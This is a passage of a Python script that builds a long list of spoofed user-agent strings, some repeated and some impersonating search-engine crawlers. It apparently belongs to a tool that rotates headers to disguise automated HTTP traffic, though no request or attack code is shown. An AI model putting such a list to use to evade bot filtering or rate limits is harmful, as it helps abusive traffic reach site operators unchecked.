  1003.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1004.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1005.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1006.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1007.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1008.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1009.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1010.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1011.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1012.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1013.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1014.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1015.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1016.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1017.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1018.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1019.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1020.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1021.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1022.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1023.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1024.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1025.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1026.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1027.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1028.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1029.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1030.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1031.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1032.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1033.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1034.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1035.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1036.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1037.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1038.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1039.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1040.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1041.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1042.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1043.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1044.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1045.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1046.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1047.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1048.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1049.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1050.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1051.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1052.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1053.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1054.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1055.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1056.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1057.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1058.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1059.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1060.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1061.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1062.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1063.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1064.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1065.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1066.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1067.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1068.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1069.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1070.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1071.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1072.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1073.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1074.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1075.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1076.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1077.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1078.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1079.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1080.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1081.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1082.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1083.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1084.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1085.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1086.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1087.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1088.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1089.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1090.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1091.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1092.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1093.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1094.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1095.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1096.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1097.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1098.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1099.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1100.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1101.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1102.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1103.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1104.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1105.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1106.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1107.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1108.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1109.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1110.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1111.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1112.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1113.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1114.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1115.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1116.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1117.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1118.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1119.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1120.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1121.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1122.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1123.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1124.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1125.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1126.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1127.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1128.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1129.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1130.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1131.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1132.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1133.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1134.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1135.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1136.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1137.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1138.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1139.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1140.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1141.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1142.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1143.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1144.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1145.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1146.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1147.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1148.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1149.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1150.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1151.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1152.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1153.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1154.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1155.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1156.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1157.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1158.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1159.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1160.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1161.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1162.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1163.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1164.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1165.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1166.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1167.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1168.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1169.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1170.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1171.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1172.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1173.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1174.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1175.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1176.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1177.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1179.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1180.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1181.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1182.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1183.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1184.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1185.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1188.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1189.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1191.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1192.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1193.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
